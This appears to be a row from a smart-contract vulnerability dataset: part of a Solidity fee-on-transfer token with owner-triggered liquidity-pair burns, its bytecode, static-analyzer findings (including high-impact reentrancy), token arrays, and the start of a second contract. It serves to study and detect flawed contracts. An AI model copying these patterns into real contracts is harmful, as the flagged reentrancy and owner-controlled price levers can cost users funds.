uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success, ) = address(devWallet).call{value: ethForDev}("");
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
bool _Enabled
) external onlyOwner {
require(
_frequencyInSeconds >= 600,
"cannot set buyback more often than every 10 minutes"
);
require(
_percent <= 1000 && _percent >= 0,
"Must set auto LP burn percent between 0% and 10%"
);
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
10000
);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
require(
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
"Must wait for cooldown to finish"
);
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
} | 0x6080604052600436106103b15760003560e01c80638da5cb5b116101e7578063bbc0c7421161010d578063dd62ed3e116100a0578063f2fde38b1161006f578063f2fde38b14610ac9578063f637434214610ae9578063f8b45b0514610aff578063fe72b27a14610b1557600080fd5b8063dd62ed3e14610a42578063e2f4560514610a88578063e884f26014610a9e578063f11a24d314610ab357600080fd5b8063c876d0b9116100dc578063c876d0b9146109dc578063c8c8ebe4146109f6578063d257b34f14610a0c578063d85ba06314610a2c57600080fd5b8063bbc0c7421461095d578063c02466681461097c578063c17b5b8c1461099c578063c18bc195146109bc57600080fd5b80639ec22c0e11610185578063a4c82a0011610154578063a4c82a00146108d7578063a9059cbb146108ed578063aacebbe31461090d578063b62496f51461092d57600080fd5b80639ec22c0e146108755780639fccce321461088b578063a0d82dc5146108a1578063a457c2d7146108b757600080fd5b8063924de9b7116101c1578063924de9b71461080a57806395d89b411461082a5780639a7a23d61461083f5780639c3b4fdc1461085f57600080fd5b80638da5cb5b146107b65780638ea5220f146107d457806392136913146107f457600080fd5b8063313ce567116102d7578063715018a61161026a57806375f0a8741161023957806375f0a8741461074b5780637bce5a041461076b5780638095d564146107815780638a8c523c146107a157600080fd5b8063715018a6146106e1578063730c1888146106f6578063751039fc146107165780637571336a1461072b57600080fd5b80634fbee193116102a65780634fbee1931461063c5780636a486a8e146106755780636ddd17131461068b57806370a08231146106ab57600080fd5b8063313ce567146105b257806339509351146105ce57806349bd5a5e146105ee5780634a62bb651461062257600080fd5b8063199ffc721161034f57806323b872dd1161031e57806323b872dd1461054c57806327c8f8351461056c5780632c3e486c146105825780632e82f1a01461059857600080fd5b8063199ffc72146104ea5780631a8145bb146105005780631f3fed8f14610516578063203e727e1461052c57600080fd5b80631694505e1161038b5780631694505e1461044757806318160ddd146104935780631816467f146104b2578063184c16c5146104d457600080fd5b806306fdde03146103bd578063095ea7b3146103e857806310d5de531461041857600080fd5b366103b857005b600080fd5b3480156103c957600080fd5b506103d2610b35565b6040516103df9190612c9b565b60405180910390f35b3480156103f457600080fd5b50610408610403366004612d05565b610bc7565b60405190151581526020016103df565b34801561042457600080fd5b50610408610433366004612d31565b602080526000908152604090205460ff1681565b34801561045357600080fd5b5061047b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016103df565b34801561049f57600080fd5b506002545b6040519081526020016103df565b3480156104be57600080fd5b506104d26104cd366004612d31565b610bdd565b005b3480156104e057600080fd5b506104a4600f5481565b3480156104f657600080fd5b506104a4600b5481565b34801561050c57600080fd5b506104a4601d5481565b34801561052257600080fd5b506104a4601c5481565b34801561053857600080fd5b506104d2610547366004612d4e565b610c6d565b34801561055857600080fd5b50610408610567366004612d67565b610d4a565b34801561057857600080fd5b5061047b61dead81565b34801561058e57600080fd5b506104a4600d5481565b3480156105a457600080fd5b50600c546104089060ff1681565b3480156105be57600080fd5b50604051601281526020016103df565b3480156105da57600080fd5b506104086105e9366004612d05565b610df4565b3480156105fa57600080fd5b5061047b7f00000000000000000000000009b00982aaf52c8866f17b74dc68a73b66ce7f7881565b34801561062e57600080fd5b506011546104089060ff1681565b34801561064857600080fd5b50610408610657366004612d31565b6001600160a01b03166000908152601f602052604090205460ff1690565b34801561068157600080fd5b506104a460185481565b34801561069757600080fd5b506011546104089062010000900460ff1681565b3480156106b757600080fd5b506104a46106c6366004612d31565b6001600160a01b031660009081526020819052604090205490565b3480156106ed57600080fd5b506104d2610e30565b34801561070257600080fd5b506104d2610711366004612db8565b610e66565b34801561072257600080fd5b50610408610f8f565b34801561073757600080fd5b506104d2610746366004612ded565b610fcc565b34801561075757600080fd5b5060065461047b906001600160a01b031681565b34801561077757600080fd5b506104a460155481565b34801561078d57600080fd5b506104d261079c366004612e22565b611020565b3480156107ad57600080fd5b506104d26110c8565b3480156107c257600080fd5b506005546001600160a01b031661047b565b3480156107e057600080fd5b5060075461047b906001600160a01b031681565b34801561080057600080fd5b506104a460195481565b34801561081657600080fd5b506104d2610825366004612e4e565b611109565b34801561083657600080fd5b506103d261114f565b34801561084b57600080fd5b506104d261085a366004612ded565b61115e565b34801561086b57600080fd5b506104a460175481565b34801561088157600080fd5b506104a460105481565b34801561089757600080fd5b506104a4601e5481565b3480156108ad57600080fd5b506104a4601b5481565b3480156108c357600080fd5b506104086108d2366004612d05565b61123e565b3480156108e357600080fd5b506104a4600e5481565b3480156108f957600080fd5b50610408610908366004612d05565b6112d7565b34801561091957600080fd5b506104d2610928366004612d31565b6112e4565b34801561093957600080fd5b50610408610948366004612d31565b60216020526000908152604090205460ff1681565b34801561096957600080fd5b5060115461040890610100900460ff1681565b34801561098857600080fd5b506104d2610997366004612ded565b61136b565b3480156109a857600080fd5b506104d26109b7366004612e22565b6113f4565b3480156109c857600080fd5b506104d26109d7366004612d4e565b611497565b3480156109e857600080fd5b506013546104089060ff1681565b348015610a0257600080fd5b506104a460085481565b348015610a1857600080fd5b50610408610a27366004612d4e565b611568565b348015610a3857600080fd5b506104a460145481565b348015610a4e57600080fd5b506104a4610a5d366004612e69565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610a9457600080fd5b506104a460095481565b348015610aaa57600080fd5b506104086116bf565b348015610abf57600080fd5b506104a460165481565b348015610ad557600080fd5b506104d2610ae4366004612d31565b6116fc565b348015610af557600080fd5b506104a4601a5481565b348015610b0b57600080fd5b506104a4600a5481565b348015610b2157600080fd5b50610408610b30366004612d4e565b611797565b606060038054610b4490612ea2565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7090612ea2565b8015610bbd5780601f10610b9257610100808354040283529160200191610bbd565b820191906000526020600020905b815481529060010190602001808311610ba057829003601f168201915b5050505050905090565b6000610bd4338484611a11565b50600192915050565b6005546001600160a01b03163314610c105760405162461bcd60e51b8152600401610c0790612edd565b60405180910390fd5b6007546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610c975760405162461bcd60e51b8152600401610c0790612edd565b670de0b6b3a76400006103e8610cac60025490565b610cb7906001612f28565b610cc19190612f47565b610ccb9190612f47565b811015610d325760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610c07565b610d4481670de0b6b3a7640000612f28565b60085550565b6000610d57848484611b35565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610ddc5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610c07565b610de98533858403611a11565b506001949350505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610bd4918590610e2b908690612f69565b611a11565b6005546001600160a01b03163314610e5a5760405162461bcd60e51b8152600401610c0790612edd565b610e64600061240a565b565b6005546001600160a01b03163314610e905760405162461bcd60e51b8152600401610c0790612edd565b610258831015610efe5760405162461bcd60e51b815260206004820152603360248201527f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e207468604482015272616e206576657279203130206d696e7574657360681b6064820152608401610c07565b6103e88211158015610f0e575060015b610f735760405162461bcd60e51b815260206004820152603060248201527f4d75737420736574206175746f204c50206275726e2070657263656e7420626560448201526f747765656e20302520616e642031302560801b6064820152608401610c07565b600d92909255600b55600c805460ff1916911515919091179055565b6005546000906001600160a01b03163314610fbc5760405162461bcd60e51b8152600401610c0790612edd565b506011805460ff19169055600190565b6005546001600160a01b03163314610ff65760405162461bcd60e51b8152600401610c0790612edd565b6001600160a01b039190911660009081526020805260409020805460ff1916911515919091179055565b6005546001600160a01b0316331461104a5760405162461bcd60e51b8152600401610c0790612edd565b601583905560168290556017819055806110648385612f69565b61106e9190612f69565b6014819055601910156110c35760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610c07565b505050565b6005546001600160a01b031633146110f25760405162461bcd60e51b8152600401610c0790612edd565b6011805462ffff0019166201010017905542600e55565b6005546001600160a01b031633146111335760405162461bcd60e51b8152600401610c0790612edd565b60118054911515620100000262ff000019909216919091179055565b606060048054610b4490612ea2565b6005546001600160a01b031633146111885760405162461bcd60e51b8152600401610c0790612edd565b7f00000000000000000000000009b00982aaf52c8866f17b74dc68a73b66ce7f786001600160a01b0316826001600160a01b031614156112305760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610c07565b61123a828261245c565b5050565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156112c05760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610c07565b6112cd3385858403611a11565b5060019392505050565b6000610bd4338484611b35565b6005546001600160a01b0316331461130e5760405162461bcd60e51b8152600401610c0790612edd565b6006546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146113955760405162461bcd60e51b8152600401610c0790612edd565b6001600160a01b0382166000818152601f6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b0316331461141e5760405162461bcd60e51b8152600401610c0790612edd565b6019839055601a829055601b819055806114388385612f69565b6114429190612f69565b6018819055601910156110c35760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610c07565b6005546001600160a01b031633146114c15760405162461bcd60e51b8152600401610c0790612edd565b670de0b6b3a76400006103e86114d660025490565b6114e1906005612f28565b6114eb9190612f47565b6114f59190612f47565b8110156115505760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610c07565b61156281670de0b6b3a7640000612f28565b600a5550565b6005546000906001600160a01b031633146115955760405162461bcd60e51b8152600401610c0790612edd565b620186a06115a260025490565b6115ad906001612f28565b6115b79190612f47565b8210156116245760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610c07565b6103e861163060025490565b61163b906005612f28565b6116459190612f47565b8211156116b15760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610c07565b50600981905560015b919050565b6005546000906001600160a01b031633146116ec5760405162461bcd60e51b8152600401610c0790612edd565b506013805460ff19169055600190565b6005546001600160a01b031633146117265760405162461bcd60e51b8152600401610c0790612edd565b6001600160a01b03811661178b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c07565b6117948161240a565b50565b6005546000906001600160a01b031633146117c45760405162461bcd60e51b8152600401610c0790612edd565b600f546010546117d49190612f69565b42116118225760405162461bcd60e51b815260206004820181905260248201527f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e6973686044820152606401610c07565b6103e88211156118875760405162461bcd60e51b815260206004820152602a60248201527f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60448201526906b656e7320696e204c560b41b6064820152608401610c07565b426010556040516370a0823160e01b81526001600160a01b037f00000000000000000000000009b00982aaf52c8866f17b74dc68a73b66ce7f7816600482015260009030906370a0823190602401602060405180830381865afa1580156118f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119169190612f81565b9050600061193061271061192a84876124b0565b906124c3565b90508015611965576119657f00000000000000000000000009b00982aaf52c8866f17b74dc68a73b66ce7f7861dead836124cf565b60007f00000000000000000000000009b00982aaf52c8866f17b74dc68a73b66ce7f789050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156119c557600080fd5b505af11580156119d9573d6000803e3d6000fd5b50506040517f8462566617872a3fbab94534675218431ff9e204063ee3f4f43d965626a39abb925060009150a1506001949350505050565b6001600160a01b038316611a735760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c07565b6001600160a01b038216611ad45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c07565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611b5b5760405162461bcd60e51b8152600401610c0790612f9a565b6001600160a01b038216611b815760405162461bcd60e51b8152600401610c0790612fdf565b80611b92576110c3838360006124cf565b60115460ff161561204c576005546001600160a01b03848116911614801590611bc957506005546001600160a01b03838116911614155b8015611bdd57506001600160a01b03821615155b8015611bf457506001600160a01b03821661dead14155b8015611c0a5750600554600160a01b900460ff16155b1561204c57601154610100900460ff16611ca2576001600160a01b0383166000908152601f602052604090205460ff1680611c5d57506001600160a01b0382166000908152601f602052604090205460ff165b611ca25760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610c07565b60135460ff1615611de9576005546001600160a01b03838116911614801590611cfd57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611d3b57507f00000000000000000000000009b00982aaf52c8866f17b74dc68a73b66ce7f786001600160a01b0316826001600160a01b031614155b15611de957326000908152601260205260409020544311611dd65760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610c07565b3260009081526012602052604090204390555b6001600160a01b03831660009081526021602052604090205460ff168015611e2957506001600160a01b038216600090815260208052604090205460ff16155b15611f0d57600854811115611e9e5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610c07565b600a546001600160a01b038316600090815260208190526040902054611ec49083612f69565b1115611f085760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610c07565b61204c565b6001600160a01b03821660009081526021602052604090205460ff168015611f4d57506001600160a01b038316600090815260208052604090205460ff16155b15611fc357600854811115611f085760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610c07565b6001600160a01b038216600090815260208052604090205460ff1661204c57600a546001600160a01b0383166000908152602081905260409020546120089083612f69565b111561204c5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610c07565b3060009081526020819052604090205460095481108015908190612078575060115462010000900460ff165b801561208e5750600554600160a01b900460ff16155b80156120b357506001600160a01b03851660009081526021602052604090205460ff16155b80156120d857506001600160a01b0385166000908152601f602052604090205460ff16155b80156120fd57506001600160a01b0384166000908152601f602052604090205460ff16155b1561212b576005805460ff60a01b1916600160a01b17905561211d612624565b6005805460ff60a01b191690555b600554600160a01b900460ff1615801561215d57506001600160a01b03841660009081526021602052604090205460ff165b801561216b5750600c5460ff165b80156121865750600d54600e546121829190612f69565b4210155b80156121ab57506001600160a01b0385166000908152601f602052604090205460ff16155b156121ba576121b861285e565b505b6005546001600160a01b0386166000908152601f602052604090205460ff600160a01b90920482161591168061220857506001600160a01b0385166000908152601f602052604090205460ff165b15612211575060005b600081156123f6576001600160a01b03861660009081526021602052604090205460ff16801561224357506000601854115b156122fb57612262606461192a601854886124b090919063ffffffff16565b9050601854601a54826122759190612f28565b61227f9190612f47565b601d60008282546122909190612f69565b9091555050601854601b546122a59083612f28565b6122af9190612f47565b601e60008282546122c09190612f69565b90915550506018546019546122d59083612f28565b6122df9190612f47565b601c60008282546122f09190612f69565b909155506123d89050565b6001600160a01b03871660009081526021602052604090205460ff16801561232557506000601454115b156123d857612344606461192a601454886124b090919063ffffffff16565b9050601454601654826123579190612f28565b6123619190612f47565b601d60008282546123729190612f69565b90915550506014546017546123879083612f28565b6123919190612f47565b601e60008282546123a29190612f69565b90915550506014546015546123b79083612f28565b6123c19190612f47565b601c60008282546123d29190612f69565b90915550505b80156123e9576123e98730836124cf565b6123f38186613022565b94505b6124018787876124cf565b50505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260216020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b60006124bc8284612f28565b9392505050565b60006124bc8284612f47565b6001600160a01b0383166124f55760405162461bcd60e51b8152600401610c0790612f9a565b6001600160a01b03821661251b5760405162461bcd60e51b8152600401610c0790612fdf565b6001600160a01b038316600090815260208190526040902054818110156125935760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610c07565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906125ca908490612f69565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161261691815260200190565b60405180910390a350505050565b3060009081526020819052604081205490506000601e54601c54601d5461264b9190612f69565b6126559190612f69565b90506000821580612664575081155b1561266e57505050565b60095461267c906014612f28565b83111561269457600954612691906014612f28565b92505b6000600283601d54866126a79190612f28565b6126b19190612f47565b6126bb9190612f47565b905060006126c985836129ee565b9050476126d5826129fa565b60006126e147836129ee565b905060006126fe8761192a601c54856124b090919063ffffffff16565b9050600061271b8861192a601e54866124b090919063ffffffff16565b905060008161272a8486613022565b6127349190613022565b6000601d819055601c819055601e8190556007546040519293506001600160a01b031691849181818185875af1925050503d8060008114612791576040519150601f19603f3d011682016040523d82523d6000602084013e612796565b606091505b509098505086158015906127aa5750600081115b156127fd576127b98782612bba565b601d54604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6006546040516001600160a01b03909116904790600081818185875af1925050503d806000811461284a576040519150601f19603f3d011682016040523d82523d6000602084013e61284f565b606091505b50505050505050505050505050565b42600e556040516370a0823160e01b81526001600160a01b037f00000000000000000000000009b00982aaf52c8866f17b74dc68a73b66ce7f78166004820152600090819030906370a0823190602401602060405180830381865afa1580156128cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128ef9190612f81565b9050600061290e61271061192a600b54856124b090919063ffffffff16565b90508015612943576129437f00000000000000000000000009b00982aaf52c8866f17b74dc68a73b66ce7f7861dead836124cf565b60007f00000000000000000000000009b00982aaf52c8866f17b74dc68a73b66ce7f789050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156129a357600080fd5b505af11580156129b7573d6000803e3d6000fd5b50506040517f454c91ae84fcc766ddda0dcb289f26b3d0176efeacf4061fc219fa6ca8c3048d925060009150a16001935050505090565b60006124bc8284613022565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612a2f57612a2f613039565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612aad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ad1919061304f565b81600181518110612ae457612ae4613039565b60200260200101906001600160a01b031690816001600160a01b031681525050612b2f307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611a11565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790612b8490859060009086903090429060040161306c565b600060405180830381600087803b158015612b9e57600080fd5b505af1158015612bb2573d6000803e3d6000fd5b505050505050565b612be5307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611a11565b60405163f305d71960e01b815230600482015260248101839052600060448201819052606482015261dead60848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169063f305d71990839060c40160606040518083038185885af1158015612c6f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612c9491906130dd565b5050505050565b600060208083528351808285015260005b81811015612cc857858101830151858201604001528201612cac565b81811115612cda576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461179457600080fd5b60008060408385031215612d1857600080fd5b8235612d2381612cf0565b946020939093013593505050565b600060208284031215612d4357600080fd5b81356124bc81612cf0565b600060208284031215612d6057600080fd5b5035919050565b600080600060608486031215612d7c57600080fd5b8335612d8781612cf0565b92506020840135612d9781612cf0565b929592945050506040919091013590565b803580151581146116ba57600080fd5b600080600060608486031215612dcd57600080fd5b8335925060208401359150612de460408501612da8565b90509250925092565b60008060408385031215612e0057600080fd5b8235612e0b81612cf0565b9150612e1960208401612da8565b90509250929050565b600080600060608486031215612e3757600080fd5b505081359360208301359350604090920135919050565b600060208284031215612e6057600080fd5b6124bc82612da8565b60008060408385031215612e7c57600080fd5b8235612e8781612cf0565b91506020830135612e9781612cf0565b809150509250929050565b600181811c90821680612eb657607f821691505b60208210811415612ed757634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612f4257612f42612f12565b500290565b600082612f6457634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115612f7c57612f7c612f12565b500190565b600060208284031215612f9357600080fd5b5051919050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60008282101561303457613034612f12565b500390565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561306157600080fd5b81516124bc81612cf0565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156130bc5784516001600160a01b031683529383019391830191600101613097565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156130f257600080fd5b835192506020840151915060408401519050925092509256fea264697066735822122042324f3cca2efe3df2a1b806373abca7bf7ae0dbacaa9f0ce5f9575a29d01a4a64736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22203,
2050,
22610,
26224,
2098,
12521,
2581,
23352,
2581,
2497,
2581,
2509,
7959,
22610,
2683,
10354,
2581,
2683,
24594,
7011,
23352,
2549,
4402,
2063,
2581,
2683,
1013,
1013,
5371,
1024,
4419,
2378,
2226,
1012,
14017,
1013,
1013,
5371,
1024,
10471,
1013,
4419,
2378,
2226,
1012,
14017,
1013,
1013,
5371,
1024,
4419,
2378,
2226,
1035,
4257,
1012,
14017,
1013,
1013,
5371,
1024,
4419,
2378,
2226,
1012,
14017,
1013,
1013,
5371,
1024,
4419,
2378,
2226,
1012,
14017,
1013,
1013,
5371,
1024,
4419,
2378,
2226,
1012,
14017,
1013,
1013,
5371,
1024,
4419,
2378,
2226,
1012,
14017,
1013,
1013,
5371,
1024,
4419,
2378,
2226,
1012,
14017,
1013,
1013,
5371,
1024,
8311,
1013,
4419,
2378,
2226,
1012,
14017,
1013,
1008,
1008,
1008,
1013,
1013,
1013,
5371,
1024,
4419,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,408 | 0x951a88379a6ab4fa8f645622086ff5637e75c9e6 | pragma solidity ^0.4.24;
contract F3Devents {
// fired whenever a player registers a name
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
// fired at end of buy or reload
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
// fired whenever theres a withdraw
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
// fired whenever a withdraw forces end round to be ran
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
